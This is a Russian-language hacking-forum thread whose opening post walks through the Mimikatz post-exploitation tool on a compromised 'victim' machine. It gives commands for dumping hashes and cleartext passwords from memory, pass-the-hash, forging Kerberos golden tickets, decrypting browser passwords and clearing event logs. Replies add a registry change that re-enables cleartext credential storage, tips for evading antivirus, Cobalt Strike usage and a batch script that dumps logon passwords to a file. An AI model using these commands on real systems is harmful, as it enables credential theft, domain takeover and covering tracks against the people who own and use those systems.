Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Ох уж этот mimikatz (https://forum.antichat.xyz/showthread.php?t=450064)

SooLFaa 03.04.2017 18:08

Всем привет. Поговорим о небольшом в каком - то смысле, но очень мощном постэксплуатационном фреймворке Mimikatz.

Cсылочка на вики: https://github.com/gentilkiwi/mimikatz/wiki

Ссылочка где ещё почитать: https://adsecurity.org/?page_id=1821#SEKURLSAKerberos

Ссылочка на гит: https://github.com/gentilkiwi/mimikatz

Ссылочка на метасплоит с мимикатзом: https://www.offensive-security.com/m...shed/mimikatz/


Ну а я же в вкратце освещу всё, что написано в сие ссылках и добавлю от себя.

Итак, поехали, мы захватили компьютер жертвы с помощью метерпретера и теперь надо пробросить mimikatz. Для этого выполняем команду:

Код:

Code:
load mimikatz

В результате получаем следующее...

http://s05.radikal.ru/i178/1704/d5/3c9389cfddd1.png

Открываем help и погнали

http://s019.radikal.ru/i603/1704/c8/1cd96f2fd8f0.png

Видим, что нам доступны некоторые опции (на самом деле это опции из модуля sekurlsa).

Для того чтобы узреть все модули мимикатца, необходимо выполнить команду с любым несуществующим модулем.

Код:

Code:
mimikatz_command -f antichat::

http://s019.radikal.ru/i638/1704/d0/0fa7a4106c39.jpg

Чтобы увидеть опции любого модуля выполним же следующую команду(Напоминаю, что пока мы работаем в meterpreter console):

Код:

Code:
mimikatz_command -f crypto::

В результате получим список опций этого модуля.

http://s13.radikal.ru/i186/1704/7f/c514033aa3c0.png

Воспользуемся первой из опции и взглянем какие криптопровайдеры установлены на моей машине.

http://s020.radikal.ru/i711/1704/99/3dc5aeb83fd2.png

На этом я закончу смотреть на мимикатц через метерпретер и воспользуемся его бинарной сборкой для удобства описания модулей и практики. Для этого я накатил windows server 2012 с установленными Active Directory и Цербером. Об этом позже, а пока вспомним какие модули есть.

Модули

module ~ crypto
– достаточно старый модуль, позволяет ресерчить CryptoApi провайдеры, но сегодня это уже мало что дает.

1) crypto:: providers – вывести список всех криптопровайдеров

2) crypto::stores – вывести все логические хранилища сертификатов в системном окружении

.SpoilerTarget" type="button">Spoiler: Профит
http://s09.radikal.ru/i182/1704/cc/4997ab7f02fa.png
3) crypto::certificates – перечисляет сертификаты и ключи, так же может их экспортировать

.SpoilerTarget" type="button">Spoiler: Профит
http://s013.radikal.ru/i325/1704/fb/806bc0852c5b.png
4) crypto::keys – перечисляет установленные ключи

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i620/1704/15/fb62e83440e8.png
5) crypto::hash – функция говорит сама за себя. Получаем хешики пользователя

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i629/1704/e0/1f788dacb33e.png
6) crypto::capi – делает неэкспортируемые ключи – экспортируемыми

.SpoilerTarget" type="button">Spoiler: Профит
http://s020.radikal.ru/i710/1704/59/a1d2fb3f4583.png

module ~ privilegeмодуль для получения определенных прав и повышение привилегий

1)privilege::debug - если у вас не работают некоторые модули выполните эту опцию. Позволяет внедряться в чужие процессы и производить их отладки.

2)privilege::driver – Получить привилегии на загрузку драйверов.

3)privilege::security – Получить привилегии на изменение политики безопасности.

4)privilege::backup – Получаем права на архивирование файлов

5)privilege::restore – Получаем права на восстановление бэкапов

6)privilege::sysenv – Получаем права на управление переменными окружения

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i631/1704/32/5bcb9ba2629f.png

module ~ sekurlsa – модуль для хищения паролей, важное условие, модуль работает только от админа и перед ним получить права на debug.

1) sekurlsa::logonpasswords – получить хеши залогиненных пользователей

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i615/1704/7d/d131ec1864c9.png
2) sekurlsa::wdigest – получить хеши залогиненных пользователей (в открытом виде из wdigest)

.SpoilerTarget" type="button">Spoiler: Профит
http://s14.radikal.ru/i187/1704/24/f661d265493d.png
3) sekurlsa::msv – тоже самое + CredentionalKeys

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i622/1704/8f/ddbc54b29456.png
4) sekurlsa::tspkg – сервис для управления фрагментацией реестра, в том числе через него можно получить креды.

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i628/1704/aa/ff44264cc6d7.png
5) sekurlsa::livessp – ещё одна служба, которая позволяет получать креды в открытом виде.

6) sekurlsa:: process – переключиться в LSASS, чтобы снифать пассы.

7) sekurlsa:: pth - – запустить процесс от имени конкретного пользователя, используя его хэш а не пароль, по дефолту cmd.

.SpoilerTarget" type="button">Spoiler: Профит
http://s011.radikal.ru/i315/1704/ca/54a393a8cee8.png
8) sekurlsa::tickets – получить все билеты Цербера

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i627/1704/41/2d1a5d3274a5.png
9) sekurlsa::krbtgt – получить все TGT билеты в текущей сессии

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i602/1704/14/87e076acc4d4.png
10) sekurlsa::dpapisystem – Получить системный расшифрованный ключ

.SpoilerTarget" type="button">Spoiler: Профит
http://s009.radikal.ru/i307/1704/5f/e30a9b8d2e3d.png

module ~ dpapi – модуль для работы с криптопротоколом DPAPI, идея в том что текст может быть расшифрован только на машине на котором он был зашифрован на основе BLOB объекта и мастер ключа.

1) dpapi::blob – непосредственно BLOB объект позволяет шифровать и дешифровать с помощью алгоритма DPAPI

2) dpapi::chrome – расшифровать пароли GOOGLE CHROME

module ~ event – модуль для очистки журнала событий

1) event::drop – остановить сервис легирования

2) event::clear - просто очистить логи

.SpoilerTarget" type="button">Spoiler: Профит
http://s020.radikal.ru/i706/1704/85/a3b8ef7a0298.png

SooLFaa 03.04.2017 18:09

module ~ kerberos -

модуль для работы с Цербером, а вот тут мы поговорим по подробнее……

Протокол Kerberos – я бы сказал это фундаментальный протокол безопасной аутентификации, который централизовано хранит себе сессионные данные. Протокол сей является фундаментом для многих Single-Sign-On (Один раз войди во все приложения сразу).

Ticket’ы (билеты) – в основе Цербера лежит понятие билетов. Существует некий центр распределения ключей, который был назван KDC(Key Distribution Center)

Когда некто логинится, то при успешном вводе пароля он получает некоторый первичный билет TGT (Ticket Granting Ticket), билет - это зашифрованный пакет данных. Этот билет как вход на крутую хакерскую тусовку, где куча интерактивов и прочего, но когда мы подходим к конкретному стенду, на основании одного только TGT, мы не можем пройти и поэтому мы запрашиваем ещё один билет TGS – и только тогда проходим. Можно придумать аналог с хекерским форумом, для доступа на который мы вводим логин и пароль и попадаем на публичный форум, а вот, чтобы попасть в приватные группы, надо обладать еще какими - то привилегиями.

А что же такое Golden Ticket(Золотой билет)?! Судя по названию это некий универсальный билет, ключ от всех замков. Но на самом деле это билет для предоставления билетов, похитив его, мы получаем власть над всеми билетами.

Ну а теперь, когда мы знаем о Цербере всё, что надо. Посмотрим на то, что нам предлагает мимикатз...



1)
kerberos:: ptt Pass-The-Ticket Внедрить один или несколько билетов TGT или TGS в текущую сессию

.SpoilerTarget" type="button">Spoiler: Профит
Сгенерируем новый билет с помощью golden тикета и положим его в файл.

Код:

Code:
/kerberos::golden /user:Administrator /domain: /sid: /krbtgt: остальные опции означают записи в группы можно оставить без измений.

http://s019.radikal.ru/i614/1704/48/b01c890d3527.png

http://s020.radikal.ru/i709/1704/4d/10a73b438bec.png
2)kerberos::list Список всех билетов в текущей сессии

.SpoilerTarget" type="button">Spoiler: Профит
http://s45.radikal.ru/i108/1704/40/4bf065ce8c39.png
3)kerberos::tgt – Все ТГТ билеты в стекущей сессии

.SpoilerTarget" type="button">Spoiler: Профит
http://s010.radikal.ru/i311/1704/19/6c9ed742ccf8.png
4)kerberos: purge – удалить все билеты с текущей сессии

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i622/1704/a5/6cae4dc01ac2.png

http://s019.radikal.ru/i643/1704/52/fa1a4d087a62.png
5)kerberos::golden – Реализация атаки с помощью golden ticket где /user – имя админа /sid SSID домена (можно узнать как whoami /user и без последней части цифр будет sid домена последние 3-4 цифры это номер юзера в домене)

.SpoilerTarget" type="button">Spoiler: Профит
http://s009.radikal.ru/i308/1704/6f/00fb7eedca3d.png
6)kerberos::hash – получить хэшик текущего пользователя залогиненого через Цербера

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i612/1704/2b/99135ab5c3d5.png

module ~ minesweeper -Показать флажки в игре сапёр. Абсолютно бесполезная опция. Думаю добавлена для фана;

module ~ miscобщие модули

1)misc::cmd – вызвать cmd окошко под текущим юзвером

2)misc::regedit – вызвать менеджер редактирования реестра

3)misc::taskmgr – вызвать таск менеджер он же «Диспетчер задач»

4)misc::detours – чекаем процессы

.SpoilerTarget" type="button">Spoiler: Профит
http://s50.radikal.ru/i130/1704/5a/212f231b01f1.png
5)misc::memssp инжектимся в память и перехватываем хешики пользователей

.SpoilerTarget" type="button">Spoiler: Профит
http://s42.radikal.ru/i096/1704/a0/8921b76418ea.png
6)misc::compressme – сжимает текущий файл mimikatz.exe

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i624/1704/f0/7bb2a0566c86.png

module ~ netмодуль для работы с локальными группами

1) net::user – список пользователей в системе

.SpoilerTarget" type="button">Spoiler: Профит
http://s50.radikal.ru/i128/1704/20/6d7964b6b655.png
2) net::group – Какой пользователь в какой групповой политике

.SpoilerTarget" type="button">Spoiler: Профит
http://s020.radikal.ru/i717/1704/2c/5bf65fbfa8c6.png
3) net::wsession – список последних сессий

.SpoilerTarget" type="button">Spoiler: Профит
http://s14.radikal.ru/i187/1704/d0/20cdf8fa3e0d.png
4) net::tod – время на удаленной тачке

.SpoilerTarget" type="button">Spoiler: Профит
http://s019.radikal.ru/i602/1704/35/0f4e8ecead7f.png

module ~ sidмодули для работы с пользовательским id

1) sid::lookup – узнать кому принадлежит sid

.SpoilerTarget" type="button">Spoiler: Профит
http://s008.radikal.ru/i304/1704/0b/9a525326ab95.png

module ~ token -модуль по работе с токенами пользователей

1) token::whoami – сведения о текущем пользователе

.SpoilerTarget" type="button">Spoiler: Профит
http://s020.radikal.ru/i712/1704/1d/e7759ac35c92.png
2) token::list – список выданных токенов

.SpoilerTarget" type="button">Spoiler: Профит
http://s009.radikal.ru/i308/1704/aa/2819e2599b6e.png
3) token::elevate – делегировать token

4) token::revert – откатить токен(разлогин)

Первоисточник: codeby.net

Ну и на последок видосик реализации атаки Golden Ticket


Veil 04.04.2017 00:24

Очень нужная и доходчивая статья. Автору респект.

SooLFaa 04.04.2017 01:20

Цитата:

Сообщение от BabaDook
BabaDook said:

Конечно не нова, но в челом могёшь и лучше.
Стоит сразу сказать , остудить горячий пыл сто секюр требует права админа. Ещё не плохая атака из самой памяти выдёргивать учётки.
Если не ошибаюсь , то в meterpreter можно ещё load kiwi
Необходимо соблюдать разрядность системы, и по возможности подгружать как модуль по 2м причинам. 1-я АВ(инфа не точная) выдаст алерт на инструмент. 2-я работа в памяти. Кто в теме, тот поймёт. Лёха, жги ещё , прям в чатик кидай.

А про sekurlsa:: я писал. А разрядность я в х64 работал. Подгрузка в память да, АВ ест его на завтрак а вот если через powershell нет

SooLFaa 04.04.2017 01:28

Цитата:

Сообщение от BabaDook
BabaDook said:

Конечно не нова, но в челом могёшь и лучше.
Стоит сразу сказать , остудить горячий пыл сто секюр требует права админа. Ещё не плохая атака из самой памяти выдёргивать учётки.
Если не ошибаюсь , то в meterpreter можно ещё load kiwi
Необходимо соблюдать разрядность системы, и по возможности подгружать как модуль по 2м причинам. 1-я АВ(инфа не точная) выдаст алерт на инструмент. 2-я работа в памяти. Кто в теме, тот поймёт. Лёха, жги ещё , прям в чатик кидай.

Цитата:

Сообщение от None
модуль для хищения паролей, важное условие, модуль работает только от админа и перед ним получить права на debug.

Вот Ваня цитата.

Kevin Shindel 04.04.2017 09:28

SooLFaa респект!

Есть предложение... у меня есть слабый тазик для тестирования метасплоита, потому что статей много но это все теория, а вот с практикой всё гораздо печальней. Если бы мне гуру подсказали что и как установить я бы предоставил тазик для уничтожения сообществу.

Veil 04.04.2017 09:59

Поддерживаю.Мне бы тоже хотелось попрактиковаться,ибо с практикой вообще беда.

SooLFaa 04.04.2017 15:02

Цитата:

Сообщение от Kevin Shindel
Kevin Shindel said:

SooLFaa респект!
Есть предложение... у меня есть слабый тазик для тестирования метасплоита, потому что статей много но это все теория, а вот с практикой всё гораздо печальней. Если бы мне гуру подсказали что и как установить я бы предоставил тазик для уничтожения сообществу.

Есть такой ресурс vulnhub. там куча уязвимых образов на любой лад, рекомендую.

p1nk_pwny 26.04.2017 03:24

Небольшое замечание к статье. После обновлений KB2871997 KB2928120 LSASS по умолчанию не хранит пароли в открытом виде а хеширует.

Чтобы устранить это досадное недоразумение необходимо прописать в ключе реестра

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro l\SecurityProviders\WDigest значение 1

Подробнее тут

Далее необходимо устроить релогин пользователя и все вернется на круги своя.

moonden 28.04.2017 03:16

Цитата:

Сообщение от p1nk_pwny
p1nk_pwny said:

Небольшое замечание к статье. После обновлений KB2871997 KB2928120 LSASS по умолчанию не хранит пароли в открытом виде а хеширует.
Чтобы устранить это досадное недоразумение необходимо прописать в ключе реестра
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro l\SecurityProviders\WDigest значение 1

Немного не точно, точнее совсем неправильно. По пути указанному выше, нужно найти DWORD параметр "UseLogonCredential" и вот ему уже прописать значение 1

P.S. Пробывал на 2012 сервере, все равно ни Mimikatz, ни WCE пароли не перехватывают (авера нет). На многих других дедах норм. Видимо есть еще какая-то причина.

Veil 06.09.2017 21:00

Что-то мимикактз не очень хочет работать на Кобальте Страйке. Надписи как на грузинском чае.

Хэши NTLM вижу, но не дешифрует, хотя пароль простой. Что делаю не так?

erwerr2321 06.09.2017 21:05

Цитата:

Сообщение от Veil
Veil said:

Надписи как на грузинском чае.

непереводимая игра слов?

Kevin Shindel 06.09.2017 21:16

его макаронник наверное писал, онкологичная картина...

Veil 06.09.2017 21:26

Прикол приколом. Но все таки?

Слов нет, удобная штука Кобальт. Даже в мимикатз ничего набивать практически не надо, все скрипты делают. Но что-то не получается.

http://s019.radikal.ru/i608/1709/c7/ae64e46761e1.png

http://s008.radikal.ru/i303/1709/65/4fe10fdc8f36.png

binarymaster 06.09.2017 22:35

Цитата:

Сообщение от Veil
Veil said:

Прикол приколом. Но все таки?
Слов нет, удобная штука Кобальт. Даже в мимикатз ничего набивать практически не надо, все скрипты делают. Но что-то не получается.

Кодировки... OEM vs. ANSI, как всегда (в данном случае Win-1251 против Win-1252).

Сохраните вывод mimikatz в какой-нибудь файл (через редирект stdout), и скачайте его себе.

Kevin Shindel 06.09.2017 22:43

можно через spools /home/log.txt

Veil 07.09.2017 14:20

Надо логи Кобальта посмотреть, он что-то ведет, что-то пишет)). Заодно и узнаю, чего он там пишет.

Veil 09.09.2017 00:24

Mimikatz в Кобальте работает, но не полностью. Некоторые функции не работают. С чем может это быть связано?

binarymaster 09.09.2017 00:32

Цитата:

Сообщение от Veil
Veil said:

Mimikatz в Кобальте работает, но не полностью. Некоторые функции не работают. С чем может это быть связано?

Какие именно функции?

Veil 09.09.2017 00:35

Крипто, модули, с кербосом пока разбираюсь. Часть работает, а вот часть нет. Показывает, что сервак работает, но на этом все.

К примеру .

mimikatz sekurlsa::logonpasswords не хочет работать.

binarymaster 09.09.2017 00:37

Цитата:

Сообщение от Veil
Veil said:

Крипто, модули, с кербосом пока разбираюсь. Часть работает, а вот часть нет. Показывает, что сервак работает, но на этом все.
К примеру .
mimikatz sekurlsa::logonpasswords не хочет работать.

Логи нужны, двух видов - что должно быть, и что есть. С конкретными командами.

Veil 09.09.2017 00:39

Сейчас виртуалку включу и найду логи. Логи есть полные.

Alangile 11.12.2017 14:12

с практикой у всех беда...

moonden 14.01.2018 15:00

Давно не пользовался, но днях понадобился. Никак не могу вывести результат в файл.

Ранее делал так батником:

Код:

Code:
if exist %windir%\SysWOW64\taskmgr.exe (goto x64)
start mimikatz privilege::debug
mimikatz sekurlsa::logonPasswords full>p.txt
:x64
cd x64
start mimikatz64 privilege::debug
mimikatz64 sekurlsa::logonPasswords full>p.txt
exit

Знаю корявый код, но работало, сейчас никак не хочет, хотя в консоли все пароли кажет.

Код:

Code:
mimikatz privilege::debug
mimikatz sekurlsa::logonPasswords

Что с "full" что без него.

Собссно требуется помощь по слогам, как бы это реализовать в батнике

binarymaster 14.01.2018 15:57

Цитата:

Сообщение от moonden
moonden said:

Собссно требуется помощь по слогам, как бы это реализовать в батнике

Можно использовать stdin файл для ввода команд.

moonden 15.01.2018 17:07

Цитата:

Сообщение от binarymaster
binarymaster said:

Можно использовать stdin файл для ввода команд.

Я в программировании не силен, можно на примере как это можно реализовать?

binarymaster 15.01.2018 17:30

Цитата:

Сообщение от moonden
moonden said:

Я в программировании не силен, можно на примере как это можно реализовать?

Причём тут программирование? Стандартные функции перенаправления ввода/вывода - пользуясь консолью это нужно знать.

Код:

Code:
echo line 1>file.txt
echo line 2>>file.txt
type file.txt|program.exe


moonden 15.01.2018 17:33

Цитата:

Сообщение от binarymaster
binarymaster said:

Причём тут программирование

Сорян, просто не понял, что такое "stdin", начал гуглить он меня на С++ пинать начал. Спасибо за помощь.

spainet 25.01.2018 03:30

согласен


Время: 14:42